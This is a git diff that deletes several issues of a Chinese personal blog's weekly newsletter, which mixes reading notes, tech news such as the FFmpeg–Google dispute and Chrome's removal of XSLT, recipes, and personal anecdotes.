-接着上一小节提到的《注意力如奢侈品》这篇文章中的观点:追求方便快捷就是在暴殄天物。如今的大学生都希望通过更快的方式学到知识(或者说通过考试),认为书本太啰嗦(不得不提,国内的教材编撰烂得很普遍,的确啰嗦,但学生也是能接触到好书的,尤其是那些看似啰嗦但实际上充满智慧的书本),所有大学生对大模型的使用也反映了他们对伪高效的追求。树老师还把部分原因归结于人文学科的科学化,这种趋势试图把需要通过阅读、体验来理解的东西量化、拆解、结构化为可被「研究」的东西。作为一个理工男兼文学哲学爱好者,我想补充的是,计算机领域的好书,例如《深入理解计算机系统》,也需要投入和人文学科书籍一样的时间精力,完整阅读,充分体验,才能形成深刻理解。读者在阅读过程中不只是获取了知识,还锻炼了适用于相关领域和普遍适用的思维方式,这才是阅读的意义。 - -树老师还借用尼采对功利主义的批评,批评了读书的功利主义。尼采认为功利主义如果只追求「有用」,就会陷入无尽的循环,因为「有用」的价值标准会带来「目的的无限延展」——我读书是为了通过考试,通过考试是为了获得高绩点,获得高绩点是为了获得保研机会,获得保研机会是为了……——这最终会导致个体陷入抑郁或虚无。 - -播客中最令我动容的话是:阅读的目的就是阅读本身,除此之外,别无其他的目的。阅读和写作不仅是自己作为人类的证明,还是自己作为人可获取的最高的愉悦。 - -### 写 Mac 和 iOS 应用不应该这么难 - -> [!note] 📜 -> [inessential: Writing Mac and iOS Apps Shouldn’t Be So Difficult](https://inessential.com/2025/08/28/easy-app-writing.html) - -作者回忆了自己在上世纪九十年代在某家软件公司开发软件的体验,那个时候他们的软件架构是这样的:软件主要分两部分,一个是 C 语言编写的内核,另一部分是应用层,这一部分用简单的脚本语言编写,软件的主要功能、访问数据和 UI 都是在这一层完成的。作者当时的主要工作没有触碰过内核,仅仅是在通过脚本语言编写功能而已。由于不需要修改内核,也就不需要编译,连重启应用都不需要,很难相信在上个世纪人们就已经在这样开发软件了。作者表示使用脚本语言完全没有让软件变得很慢,性能实际上相当不错。 - -反观目前的 macOS 和 iOS 开发,必须要使用 Swift 语言,这并没有脚本语言那样好用,而且每次写完都要等待应用构建、运行,才能开始调试。作者觉得,苹果作为这么大的一家公司,应该是有能力为全球的开发者提供良好的开发体验的,毕竟上个世纪的一家小公司就能做到。 - -我最近就在学 SwiftUI,XCode 用起来确实不顺手。我回忆了一下自己之前用 LÖVE 引擎开发游戏的体验,和作者描述的软件架构有些类似——LÖVE 就是内核,而游戏开发者是使用 Lua 这个简单好用的脚本语言来编写游戏代码的。就算还是要刷新一下才能看到改动后的效果,但使用脚本语言的开发体验已经很棒了,主要是上手非常快。 - -### 关于桌游设计 - -> [!note] 📜 -> [关于桌游设计大赛的介绍](https://blog.codingnow.com/2025/10/boardgame_design_contest.html) - -这篇文章在我的待读列表里躺了大半个月,甚至跟随我从 Safari 阅读列表迁移到 Raindrop.io,再迁移到我自建的 linkding。直觉告诉我我应该读一读,但内阻力一直使得我没勇气读下去。要解决这个问题,最好的方法就是上课摸鱼,无聊的时候就顾不上什么内阻力了,一口气就读完了。 - -文章的内容大概是作者最近几个月研究桌游规则和探索桌游设计的笔记,主要围绕在桌游设计大赛相关的内容上,介绍了一些作者喜欢的桌游。其中提到的两个桌游比赛我都觉得很有意思:一个是[九牌微型打印即玩桌游设计比赛](https://boardgamegeek.com/thread/3436343/2025-9-card-nanogame-print-and-play-design-contest),要求参赛者用简单的九张牌设计出玩家可以自己用打印机打印出来玩的桌游;另一个是[传统牌卡桌游设计比赛](https://boardgamegeek.com/thread/3569158/2025-traditional-deck-game-design-contest),要求用扑克牌等传统牌卡设计新玩法。我想起来,今年年初我的确自己设计过扑克牌的新玩法,暂定名叫 [Expoker](/posts/为什么不玩扑克呢/),原因是「我曾经暗暗发誓不要学会任何一种扑克游戏,因为当时的我很讨厌聚在一起打牌的大人」,所以叛逆地设计了自己的打牌规则。当时还在教培机构兼职,和自己的学生以及朋友玩过几遍。我自知我的玩法设计算不上优秀,但我记得我真的玩得很开心,这大概就足够了吧。 - -## ⁂ · 星群 - -### Affinity - -Serif 这家公司被 Canva 收购之后,旗下对标 Adobe 三件套的三款产品就被合并到了一起,并且旧的功能全部免费放了出来。我下载测试了一下,是真的全部免费,只有 AI 功能需要内购。 - -值得怀疑的是,你现在必须要登录 Canva 账号才能下载和使用 Affinity,Canva 肯定会收集用户数据。Hacker News 上有些网友声称:当产品免费的时候,你就是产品。不过,Affinity 似乎在官网上声称并不会用用户数据来训练 AI,这个声明的真实性就不得而知了。我的观点是,如果你是经济条件不允许但的确有较高级的图像编辑和设计需求的人群,完全可是尝试 Affinity;如果你在乎个体隐私,对这种事情很警惕,就不要使用了。 - -不过,也可以不用这样疑神疑鬼的,Canva 免费开放 Affinity 可能和 Cloudflare 免费使用的理由相同——获得更大的用户基数,获得更好的口碑。 - - - -访问:[Affinity](https://www.affinity.studio/) - -## ↯ · 当下 - -### 博客的改动 - -移除了 Google Fonts。透过 PageSpeed Insight 发现网站有一大半的性能问题都是引用了外部字体导致的。如果想要更好的阅读体验,可以手动在电脑上安装 [Noto Serif](https://fonts.google.com/noto/specimen/Noto+Serif) 和 [Noto Serif SC](https://fonts.google.com/noto/specimen/Noto+Serif+SC?query=Noto+serif+SC) 字体。 - -现在添加了更多的回落字体(fallback),具体代码如下。 - -```css ---serif-font-family: - "Noto Serif", - "Noto Serif SC", - "Noto Serif TC", - "Source Han Serif SC", - "Source Han Serif TC", - "Songti SC", - "Times New Roman", - Times, - serif; -``` - -### 看《地狱客栈》第二季 - -某天打开 Apple Music 猛然发现《地狱客栈》第二季的原声带专辑的我: - -{{< gallery >}} - - -{{</ gallery >}} - -一看发现第二季确实开播了,一次放出了两集,而且几乎都在推主线。作为一部音乐剧动画,这两集里面的五首歌质量也很不错。《地狱客栈》中有很多圣经故事参考,比如主角夏莉就是堕落天使路西法和亚当第一任妻子莉莉丝的女儿,这一季还出场了亚当的儿子亚伯和上帝代言人(这个我就不清楚有没有具体出处了)。角色设计的很多细节我也很喜欢,天堂里有长满眼睛、头上是圆环的座天使,级别比较高的天使还是六翼天使,翅膀上也会在某些时候睁开眼睛,不过画风很棒,完全不诡异。如果你感兴趣的话,很推荐去看一看。 - -至于剧情,就比较一般了,槽点蛮多的,不过还是拦不住我喜欢。 - -### 观影《即兴谋杀》 - -[周五](/posts/lets-make-friday-cryday/)的时候去看电影了,是一部悬疑片,还算不错,我能给 3.5 颗星,无功无过,因为它的确让我一开始沉浸在一种「这剧情怎么这么好猜」「这些人物怎么都这么单薄」「好老套的设定」的先入为主的印象里,后面的层层反转属实令人意想不到。不过反转其实也有不少让人觉得牵强的部分,好在总体的观感还不错。我本身就喜欢读日本推理文学,对悬疑感兴趣,对这样比较新奇的悬疑作品有一定好感,所以我看完之后还觉得挺开心的。 - -如果你也喜欢悬疑作品,我觉得这部电影可以一看。此外,似乎在院线上真的很难看到这种既不是宏大叙事又不是合家欢喜剧的电影。 diff --git a/content/posts/weekly/54.md b/content/posts/weekly/54.md deleted file mode 100644 index 6db60094..00000000 --- a/content/posts/weekly/54.md +++ /dev/null @@ -1,198 +0,0 @@ -+++ -title = "稻草人周刊 Vol.54" -subtitle = "如何博学得令人生厌" -tags = [ - "认知", - "生活", - "占星", - "Apple", - "烹饪", -] -categories = "稻草人周刊" -date = 2025-11-10 09:31:00 -draft = false -toc = true -aliases = [ - "/posts/weekly/54", -] -+++ -{{< music cover="https://r2.eltr.ac/uPic/2025/11/https___images.genius.com_d1fc7f44c877049ad18369680e29b2eb.1000x1000x1.jpg" title="Stop Me If I'm Saying Too Much" artist="Chris James" apple="https://music.apple.com/cn/album/stop-me-if-im-saying-too-much/1779853577?i=1779853578" spotify="https://open.spotify.com/track/44pDoZoY8zfLLJ6vAjPvmG" netease="https://music.163.com/#/song?id=2646987093" >}} - -Chris James 的歌总能给我一种很纯粹简单的坠入爱河的感觉,对我来说是一种拥有后会导致痛苦,但没有的时候也会想得发慌的感受,所以,暂时就听听歌,和它保持适当的距离吧。<!--more--> - ---- - -## ⋈︎ · 连接 - -### Minecraft 为模组制作者移除混淆 - -> [!note] 📜 -> [Removing obfuscation in Java Edition \| Minecraft](https://www.minecraft.net/en-us/article/removing-obfuscation-in-java-edition) - -《Minecraft》Java 版原先一直在代码中添加了混淆,这是游戏行业的惯用做法,但这么做给 Mod 制作者带来了困扰。之前,Mojang 的做法是提供 Source Map 供开发者查阅,不过最近他们选择直接移除代码中的混淆,这样开发者就能直接看到必要的源代码了。 - -游戏代码中的混淆大概是为了防破解,而《Minecraft》作为自由度本身就很高且 Mod 社区非常活跃的游戏,混淆大概的确是没有必要的。而且《Minecraft》做到今天,大概也有了很大的底气。 - -### 如何博学得令人生厌 - -> [!note] 📜 -> [How to be disgustingly educated - by Thee Book Club](https://theebookclubx.substack.com/p/how-to-be-disgustingly-educated) - -行文很像是某种「宣言」,作者认为受教育程度与学历无关,他在文中分享了一些他认为成为博学之人[^1]给了一些建议。 - -> The disgustingly educated are not “know-it-alls.” They’re “want-to-know-it-alls.”<br/> -> 博学得令人恶心的人,不是「懂王」,而是「想要懂得一切的人」。 - -> Start collecting knowledge like it’s Pokémon cards. Share it. Obsess over it. Make people wonder if you’re secretly working on a thesis.<br/> -> 像收集宝可梦卡一样收集只是。分享,沉迷,让人们好奇你是不是在偷偷地写一篇论文。 - -> The most educated people admit ignorance. They ask questions like, “Can you explain that to me?” or “Where did you read that?” or “What am I missing here?”<br/> -> 最博学的人承认无知,他们会问「你能给我解释一下吗?」或者「你在哪里读到的?」或者「有什么我不知道的?」这样的问题。 -> -> This isn’t humility for show ,it’s the real secret to learning. Curiosity is loud. Ego is dumb. Choose curiosity.<br/> -> 这不是在自讨羞辱,这是学习的真正秘诀。好奇心就是吵闹的,自大才是愚蠢的。选择好奇心。 - -不过,作者也表达了一些我不太认同的观点: - -> They listen to podcasts at 1.5x speed while annotating a book.<br/> -> 他们用 1.5 倍速听播客,还能同时标注一本书。 - -不,永远不要那么对你的注意力。我敢肯定,一边加速听播客一边读书的人什么也学不进去。我眼中的博学者是涉猎广泛但专注当下的人。 - -## ⁂ · 星群 - -### App Store 网页端源代码 - -这周 Apple 更新了网页版的 App Store,现在可以在浏览器里查看和搜索 App 了,不过并不能安装。很快有人发现苹果没有在生产环境里禁用 Source Map,扒出了 App Store 前端的源代码,发现是用 Svelte 写的,还在 GitHub 上开源了。不过,目前这个仓库已经被 GitHub 限制访问了,毕竟版权是 Apple 的。 - -回看前面 Minecraft 为了模组作者主动移除混淆的做法,Apple 这边就显得有些好笑了。似乎今年年初 Apple 还因为忘记续签 SSL 证书导致 Apple Music 在一段时间内无法正常访问,这家曾以关注细节著称的公司似乎正在失去这种特色。 - -访问: [GitHub - rxliuli/apps.apple.com: App Store web version](https://github.com/rxliuli/apps.apple.com) - -## ₷ · 垂涎 - -> [!note] 🎉 -> 恭喜你发现了随机出现的新栏目,我会在这里分享一些菜谱。这个栏目不会出现在每一期周刊,但我还是希望能通过频繁更新菜谱的方式来精进自己的厨艺的! - -### 酸辣娃娃菜 - -自从读完《[控糖革命](/library/2025/控糖革命/)》,得知餐前喝醋和摄入一定量的膳食纤维可以抑制葡萄糖进入血液的速度,维持血糖水平稳定,我就经常把这道菜当作开胃菜。 - -#### 原料 - -1. 一颗娃娃菜,切掉底部,分开叶片并洗净[^2] -2. 2~3 瓣大蒜,切成蒜末 -3. 2 根小米辣,切成小段[^3] -4. 小葱(可选) -5. 生抽、蚝油和陈醋 - -#### 步骤 - -1. 大火,热锅热油,先下葱姜和小米辣爆香 -2. 倒入娃娃菜并搅动 -3. 待娃娃菜体积变小并略微出水后,倒入调料 - - 生抽适量 - - 蚝油适量 - - 醋少量 -4. 继续翻炒 -5. 翻炒一段时间后盖上锅盖焖一会,如果比较干可以倒入少量的水 -6. 撒上葱花出锅 - -#### 成品 - - - -### 番茄鸡肉意面 - -番茄大概是除了土豆以外最完美的蔬菜了。 - -#### 原料 - -1. 沙瓤番茄或普罗旺斯番茄[^4],2~3 颗[^5],切块 -2. 鸡胸肉一块,切丁[^6] -3. 意面,螺旋状或长条都可以,主食的量自行决定 -4. 小葱(可选) -5. 生抽、蚝油和番茄沙司 - -### 步骤 - -1. 腌肉,在切好的肉中加入适量料酒、生抽和蚝油,抓拌均匀过后倒入一定的食用油继续抓拌,腌制至少十分钟使用 -2. 选一口底径较小且锅体较深的锅,喷上少量油,倒入番茄,中火 -3. 略微翻动番茄,等番茄出汁之后倒入调料 - - 适量生抽 - - 少量蚝油 - - 根据口味偏好加入番茄沙司,不希望太甜就少加一些 -4. 翻拌均匀,然后盖上锅盖煮制十分钟左右,直到番茄软烂,此期间可以打开锅盖搅拌并查看情况 -5. 烹饪番茄的同时将腌好的肉,热锅冷油倒入炒锅内,翻炒至变色 -6. 将炒好的肉丁倒入锅内和番茄一起煮 -7. 开始煮意面,根据不同的类型、海拔差异导致的沸煮时水温的差异以及个人的口味偏好,煮制适当的时间,煮好后沥干水分待用[^8] -8. 番茄汤大火收汁,变黏稠过后浇在意面上,然后撒上葱花 - -#### 没用的小妙招 - -1. 腌制鸡肉或猪肉的时候加入一些老抽上色,可以营造出类似牛肉的色泽(虽然味道不会有任何改变) -2. 如果喜欢的话,可以在煮番茄的时候加入一些洋葱 -3. 煮完意面之后,可以在收汁前倒一点煮面水到番茄汤里,煮面水其实就是浓度较低的淀粉水,可以起到勾芡的作用 -4. 如果不排斥番茄皮,切番茄的时候可以不去皮,因为番茄红素(抗氧化物)基本都集中在番茄的皮里,皮实际上是最有营养的部分 - -#### 成品 - - - -另附番茄汤沸腾的动图展示,看起来很治愈。 - - - -## ↯ · 当下 - -### 博客的新页眉 - -重新设计了博客的页眉,将站点图标和标题放在了左侧,导航和切换语言的按钮放在了右侧,同时把原先和首页导航放在一起的统计页面图标和语言切换按钮放在一排。 - - - -此外,博客还新增了[碎言](/thoughts/)页面。这是效仿 [Owen的博客](https://www.owenyoung.com/),这个页面本身是一个单独的 Markdown 文件,会不定期更新。由于发布内容在社交媒体和 Telegram 频道中都会出现在其他人的时间线上,有一些内容我会担心在发布的时候打扰到别人,所以就放在这里啦。和 Telegram 频道一样,这个页面是「阅后即焚」的,内容会在一段时间后删除,除非我特别想要留下来。 - -> [!note] 📢 -> 2025.11.27 更新:碎言页面已经被移除。是的,它甚至没有活过一个月。 - -### 咖啡馆的闲暇时光 - -这周周一上完第一节课突然想去咖啡馆,想起之前去过的一家,就在学校外面不远的地方,于是就走过去了。点了一杯水洗瑰夏,热美式。上咖啡之前还给了一杯温水,这就很专业了,商业咖啡店是不会想到让客人先喝白水洗去嘴里的杂味再品咖啡的。高温段入口有杂味,似乎还有细粉,不过温度降下来就还不错,很干净的风味。由于印象很好,所以周六又去了一次,这次点了菜单上的草莓甜心,没细看,但应该是日晒豆,这杯不如那杯瑰夏,而且我也没喝出甜感。 - -其他地区的读者可能觉得这样的咖啡店比较一般,但在重庆,还是在比较偏的地区,这样的咖啡店是真的很稀有了。店家还提供学生优惠,之后也应该会常去的。这家店叫「红豆子咖啡」,店家在小宇宙上还有自己的播客《包出幻觉》。 - -{{< gallery >}} - - -{{</ gallery >}} - -周四的时候我本来还打算去一次,结果跑空了,到门口才知道他们周四休店,于是拐弯去了西西弗,花了更贵的价钱买了一杯更难喝的美式。西西弗的向量咖啡里的美式真的是寡淡如水,整家店的牛马氛围倒是很浓,目及之处全是学生和抱着笔记本电脑的打工人。这倒也有好处,坐在那里的一下午效率高得出奇。 - -### 准备渡过水逆期 - -本人太阳双子,月亮和上升在处女,都是水星守护的星座,水星开始逆行我就又要开始受难了。不过,根据过往的经验来看,水星逆行期我会很自然地开始调整自己的工作流和各种系统,这段时间本身也很适合复盘和整理,正好水逆前半段还是月相从满月到新月的过程。自己随机发作的购买欲又让我掏钱买了一堆本子,所以,这次水逆就干脆来重构一下自己的手帐体系,另外,我也打算抛弃除写文以外的所有数字记录,饮水、饮食、习惯等都写在日常使用的手帐本上。 - -水逆期也打算降低博客更新的频率,减少表达,增加输入,所以最近书评可能会发得比较多,文章内容也会偏向记录「最近学到了什么」而不是「最近思考了什么」。 - -水逆前买了一块烟晶,也就是茶水晶,据称可以缓解焦虑、减少他人对自己的影响,简单来说就是辟邪。水逆期戴在身上当个心理安慰挺好的。 - -最后,每次水逆几乎都是不需要我查日历就能自己感觉到的,这次水逆之前的十天就有很明显的情绪波动和精力波动;昨晚(也就是水逆前一天晚上)自己莫名其妙睡不着觉还饿了,从床上爬起来点了个炸鸡吃(还巨难吃);今天,水逆第一天,骑车的时候前面有人突然停下来,我连忙刹车,结果打滑摔在了地上,帽子眼镜都飞了,手擦破了皮,缓过神来的时候那个人也不见了——我记得我给自己水逆期定的目标是要活下来来着,原来这么难吗…… - -啊,不过水逆的时候自己的攻击性下降了不少,不知道是不是好事。 - -[^1]: 「博学之人」的原文是「be disgustingly educated」,这里我没有译出作者自嘲式的幽默感,原本的意思应该是:受教育程度高到令人恶心。文中,作者也以类似「在吃早午餐的时候讲哲学毁掉所有人的兴致」的玩笑表达了相同的幽默。 - -[^2]: 如果你喜欢,也可以换成卷心菜,这个做法做很多绿叶菜都很好吃。 - -[^3]: 如果怕辣可以只放一根。 - -[^4]: 这两个品种会更出汁,也会更有番茄味。我个人不太喜欢吃完整的番茄块,我更喜欢多煮一会把番茄煮烂,这种番茄就很合适。 - -[^5]: 根据大小决定数量,如果比较大就用两颗,较小就用三颗。 - -[^6]: 也可以换成别的肉,总之切丁就好。 - -[^7]: - -[^8]: 意面煮好之后番茄锅应该也差不多了,如果还需要多煮一会,可以将意面泡在冷水里防止口感变黏变干。 diff --git a/content/posts/weekly/55.md b/content/posts/weekly/55.md deleted file mode 100644 index 281da4ef..00000000 --- a/content/posts/weekly/55.md +++ /dev/null @@ -1,212 +0,0 @@ -+++ -title = "稻草人周刊 Vol. 55" -subtitle = "吵架的目的从来不是胜利" -tags = [ - "开源", - "生物学", - "认知", - "AI", - "效率", - "生活", -] -categories = "稻草人周刊" -date = 2025-11-17 09:57:00 -draft = false -toc = true -mentioned_books = [ - "厌女", -] -aliases = [ - "/posts/weekly/55", -] -+++ -{{< music cover="https://r2.eltr.ac/uPic/2025/11/Lorde_-_Virgin.png" title="Broken Glass" artist="Lorde" apple="https://music.apple.com/cn/album/broken-glass/1810905299" spotify="https://open.spotify.com/track/6xCKXznjcHv2hZWDA0pRIe" netease="https://music.163.com/#/song?id=2719794406" >}} - -> I wanna punch the [mirror](/tags/M/), to make her see that this won't last. -> -> It might be months of bad luck. -> -> But what if it's just broken glass? - -<!--more--> - ---- - -## ⋈︎ · 连接 - -### 吵架的目的从来不是胜利 - -> [!note] 📻 -> [277-如何成为全能吵架王?–独树不成林](https://podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?l=en-GB&i=1000736888214) - -> 当你真的决定要跟人吵架的时候,你应该记得:你愿意跟人吵架意味着你还愿意继续跟他说下去,你不想把他从你的人生中删除。所以吵架是一种成年人的奢侈品。它预设了平等,它预设了这种**更高的善意**,它预设了未来可以继续对话的可能性。 - -这期播客听得我很爽,因为我感到有人终于帮我把我对争论和吵架的想法阐述清楚了。虽然我不像树老师那样喜欢吵架,但我认为争吵是有巨大价值的,并且是绝对不应该逃避的。我想起了我上周听的一起博客《[一场建设性吵架,是终结内耗的最佳途径](https://podcasts.apple.com/cn/podcast/%E5%87%BA%E9%80%83%E5%9C%A8%E5%8D%B3/id1533388375?l=en-GB&i=1000735125255)》,其中的主播之一就是曾经会在吵架中转移话题避免冲突的人,我听完之后直冒火,我极度厌恶那些让争论进行到一半,不直接表示想要退出,只是通过各种方式转移话题或者直接不理人的人;情绪缓和之后,我开始欣赏她改变自己对吵架想法并不继续逃避的做法。 - -树老师在这期播客中的先阐述了什么是「小学生吵架」,以及成年人之间的吵架应该是怎样的。她认为,小学生吵架主要通过比拼词汇量和道德模板进行——谁的污言秽语最多,最先让对方破防,谁就赢了;谁套用的道德模板最高级,能在所谓的道德制高点上碾压对手,谁就赢了。这些东西与吵架本身无关,只是小学生或还像小学生一样吵架的成年人们在吵架之前就已经学到过、吸收到、积累到的东西。她还认为,那些能共同过权力压制解决的问题本身就不能够通过语言解决,因为吵架预设了参与者之间是绝对平等的,正是因为这种平等才允许人们在智识层面进行切磋。吵架可以有情绪,并且绝对不能上头,不应该翻旧账,不应该人身攻击(如果对方说的话真的让你对他这个人感到鄙夷,那么令你鄙夷的人是不值得与之争吵的)。 - -其中最让印象深刻的观点是,当你在吵架的过程中感到了侮辱,或者感到对方没有预设吵架应有的平等,那么你为什么要在乎这个不会吵架的人嘴里吐出来的话?更重要的是,你为什么还要继续和这种人吵?吵架意味着你希望这个人继续留在你的生命里,如果你把这个人从你的生活中降级为零,那他说的话对你而言就毫无价值。 - -不过,我也要反思,我似乎也没能避免关注吵架的输赢这件事情,但我想这是因为我十分在意吵架要有个结尾这件事:任何一方诚实地提出自己不想继续参与争执,这是一个结尾;两个人各自保留部分观点,并得出了一个两人都满意的结论,这是一个很好的结尾;一人被说服,承认对方的观点是正确的,这个结尾也同样好;两人各执己见,最后表示今后应当避免谈论此类问题,这个结尾不太好,但很合理,也算结尾。而在争吵的中途擅自离开,仅因为自己受不了争吵,还不直接承认自己不想争吵这个事实,只留下对方一个人还在先前的观点纠葛和情绪中,是非常令人火大的——逃避问题不会解决问题,认为问题不需要解决就是对关系的不负责。目前我对那些逃避争执的人的做法是:远离他们,将他们从我的生活中降级。 - -我想我对这种人有种失落感,因为我之所以愿意跟他们进行观点的争论,就是因为我原本以为他们是可以交心的朋友,毕竟吵架意味着在乎彼此,逃避吵架不仅仅是逃避了关系本身,还表达了「我不在乎你这个人的存在」这一层含义——这可能不是对方的直接目的,但行为的确反应了这一点。 - -### FFmpeg 对 Google:捐钱,不然别给我们送 Bug 了 - -> [!note] 📜 -> [FFmpeg to Google: Fund Us or Stop Sending Bugs - The New Stack](https://thenewstack.io/ffmpeg-to-google-fund-us-or-stop-sending-bugs/) - -FFmpeg 是一个非常重要的开源软件库,它用于转换音频和视频,包括 YouTube 在内的许多网站和软件都使用了 FFmpeg 提供的库。和许多其他的开源库一样,FFmpeg 面临资助不足的问题。这个开源库几乎完全是志愿者维护的,大家是把这件事情当作爱好进行免费劳动,开源软件几乎都是这样的。然而,近期 FFmpeg 却和 Google 闹了矛盾。 - -简单来说,Google 使用他们的 AI 机器人不断地向 FFmpeg 发送 bug 反馈,要求维护者修复潜在的安全问题。安全风险当然重要,FFmpeg 也声称他们非常注重软件的安全性,但问题在于,Google 发送报告的速度太快,已经给这些维护软件的爱好者带来了压力,而且,大部分所谓的潜在安全问题,实际上并没有那么紧急需要修复。更何况,FFmpeg 是用 C 语言和汇编语言编写的,汇编程序维护起来有多困难不必多言,大部分的这些问题其实不值得汇编程序员花那么多的时间。在很多人看来 Google 用 AI 找 Bug 给这些爱好者增加工作量的做法无疑是在耍流氓,但有人声称:反馈问题也是对开源软件的一种贡献!真的是很流氓了。 - -在之前,libxml2,同样是一个基础但重要的开源软件库,维护者因为每周需要在这个没有金钱回报的项目上花费太多时间精力而退出了工作。很难想象,如果我们继续这样对待开源库的维护者,包括大公司在内依赖的底层软件库可能都不会有人维护了。 - -### XLST RIP - -> [!note] 📜 -> [Removing XSLT for a more secure browser \| Web Platform \| Chrome for Developers](https://developer.chrome.com/docs/web-platform/deprecating-xslt) - -> [!note] 📜 -> [XSLT.RIP - Google are killing XSLT!](https://xslt.rip/) - -Google 即将在 Chromium 中移除 XSLT(将 XML 转换为其他格式显示的技术,被用在许多政府网站和一些 RSS 订阅源中),相关代码将在 2026 年 11 月完全废除,他们称此举是为了创造一个「更安全的浏览器」,并且 Mozilla 和 Apple 也将跟随 Google 的决定——很恐怖,Google 的一个决定就可以改变全世界的 Web 体验!Google 这边的说法是: - -> The continued inclusion of XSLT 1.0 in web browsers presents a significant and unnecessary security risk. The underlying libraries that process these transformations, such as libxslt (used by Chromium browsers), are complex, aging C/C++ codebases. This type of code is notoriously susceptible to memory safety vulnerabilities like buffer overflows, which can lead to arbitrary code execution. For example, security audits and bug trackers have repeatedly identified high-severity vulnerabilities in these parsers (e.g., CVE-2025-7425 and CVE-2022-22834, both in libxslt). Because client-side XSLT is now a niche, rarely-used feature, these libraries receive far less maintenance and security scrutiny than core JavaScript engines, yet they represent a direct, potent attack surface for processing untrusted web content. Indeed, XSLT is the source of several recent high-profile security exploits that continue to put browser users at risk. The security risks of maintaining this brittle, legacy functionality far outweighs its limited modern utility. - -大意是,XSLT 的底层库已经很老了,是很复杂、维护起来很困难且有很多安全风险的 C/C++ 代码库,这类代码往往有缓冲区溢出的问题,可能会被利用执行恶意代码。又考虑到,XSLT 在目前的 Web 环境中已经很少使用了,更现代的做法是使用 JSON 而不是 XML,也不会直接转换数据文件本身,通常会用获取并解析 JSON 数据的方式通过 JavaScript 展示。这么看,其实移除老旧,还有安全风险的技术而不是重写,是比较方便的做法。 - -另一边,XLST RIP 这个网站的作者声称,自 Google 移除 RSS 阅读器 Google Reader 以来,他们又杀死了近 300 项技术,几乎可以肯定 Google 厌恶 XML 和 RSS。作者呼吁所有人在自己的网站上添加 XSLT,不要让 Google 轻易地又杀死一项技术。这个网站的作者认为,目前还没有 XLST 用户被黑的案例,Google 说什么安全风险是在把用户当猴耍。 - -我的 [RSS 源](/index.xml)也使用了 XLST,我是不希望这个技术消失的。并且,浏览器明显应该尽量向下兼容。在我看来,Google 不一定邪恶,但在某种程度上可以说他们很懒,因为他们完全可以把实现 XLST 的底层库用更安全的方式重写一遍,比如用自家的 Go 语言——不过指望他们这么做大概是不可能的,毕竟[他们一直给开源库反馈 Bug 却从没想过捐钱或者自己修](https://thenewstack.io/ffmpeg-to-google-fund-us-or-stop-sending-bugs/)。 - -### 适宜的大小 - -> [!note] 📜 -> [On Being the Right Size by J. B. S. Haldane 1928](https://www.marxists.org/archive/haldane/works/1920s/right-size.htm) - -人们时常想象巨人的出现,[生物学家 J. B. S. Haldane](https://zh.wikipedia.org/wiki/%E7%BA%A6%E7%BF%B0%C2%B7%E4%BC%AF%E9%A1%BF%C2%B7%E6%A1%91%E5%BE%B7%E6%A3%AE%C2%B7%E9%9C%8D%E5%B0%94%E4%B8%B9)在文中表达了这样的观点:一个生物不可能只改变大小,而不改变形态和结构。他举例说,假使一个羚羊变得更大,它要么像河马一样长出更粗壮的四肢来支撑重量,要么像长颈鹿一样将四肢展开、倾斜。变大意味着重量会快速增长,如果结构和形态不变,骨头就没办法支撑,轻微的移动都会导致骨折。此外,如果变大,生物也需要更粗壮的血管,因为需要更大的血压来降血液输送到全身;呼吸也是一样;还有对食物和热量的需求,仅仅是长大十倍,就意味着机体需要摄入一千倍的热量。体型巨大的生物受重力的影响更大,相比之下,小老鼠和蚊子就受重力的影响就很小,不过,蚊虫受表面张力的影响很大,这也是为什么人类在沐浴之后即使身上附着了几斤水也没事,但虫子被浸湿了却是要命的。 - -总的来说,每一种动物都有他们的最佳尺寸。同样的道理也可以推广到人类组织,对于一个团体、组织、政党或企业,扩大规模意味着机制、结构和运作模式也要发生改变,规模越大也意味着复杂度越高。就像动物只变大而不进化出更复杂的结构会是致命的,人类组织要是只增长而不调整,也会出问题。 - -### 记忆系统的一种用法 - -> [!note] 📜 -> [How I use memory systems](https://michaelnotebook.com/ongoing/hiums.html) - -作者是一个物理学和计算机领域的研究员(Research Fellow),这篇文章里他介绍了他使用 Anki 等记忆系统的方法。顺带一提,这篇文章是博客文章《[阅读的目的从来不是获取知识](/posts/阅读的目的从来不是获取知识/)》下 [@pepperex](https://github.com/pepperex) 推荐给我的。 - -作者会把自己在视频、电影和影视剧里看到的,给他带来极大情感触动的画面做成记忆卡片,放在 Anki 里,目的是为了让自己时常回忆、重新思考这些由视觉信息触发的感受。这种做法对我而言很新奇。作者把 Anki 当作一个「创造意义的语境」,他会写在卡片里的东西并不是「我觉得自己应该感兴趣、应该记住的东西」,而是他真正感兴趣,但因为对相关知识的理解还不够深入,所以不能够阐明意义、理解透彻的东西。把这样的东西写成记忆卡片,每天回顾,能帮助自己思考和建立新的理解。 - -> Anki is especially helpful in areas which you are very interested in, but don't yet have the expertise to enable rapid encoding of new memories. -> -> Anki 在那些你感兴趣,但并不具有能够快速编码新记忆的专业能力的领域,尤其有用。 - -作者还引用了美国作家 Edwim Schlossberg 的话: - -> The skill of writing is creating a context in which people can think. -> -> 写作的技巧在于创造允许人们思考的语境。 - -更重要的是,作者认为,要创造作者自己能够思考的语境。如果做得好,产生新想法就会变得简单。对他来说,写 Anki 卡片就是能够创造这种语境的写作方式。 - -作者提出的这种方法似乎对初入一个新领域的学习者十分有用,正好我最近也在学些新东西,确实也可以写一些卡片来巩固记忆和加深理解。 - -### 美国的书籍审核 - -> [!note] 📻 -> [276-美国出版界如何审核书籍? - 独树不成林](https://podcasts.apple.com/cn/podcast/%E7%8B%AC%E6%A0%91%E4%B8%8D%E6%88%90%E6%9E%97/id1711052890?i=1000736525089) - -仲树老师描述了美国出版界的现状。传统上讲,在美国出版书籍需要经过同行审核(peer review),这导致的问题是那些挑战领域内传统观点的书籍很可能得不到出版。如今,在美国出版不仅有同行审核这个障碍,还有政治正确这个障碍。出版社会雇佣「敏感审查员」,帮助作者和图书编辑把书本内容变得不那么「敏感」,防止书籍在出版的最后阶段被取消,或者在发布之后被群情激愤的读者「取消」。这些敏感审查员不需要任何资历,只需要属于某一群体,比如,一本描写了黑人生活的书,就要交给一个黑人敏感审查员审查,他们会关注「这个黑人晚餐吃了什么」这种无关紧要但不知为何十分敏感的细节。 - 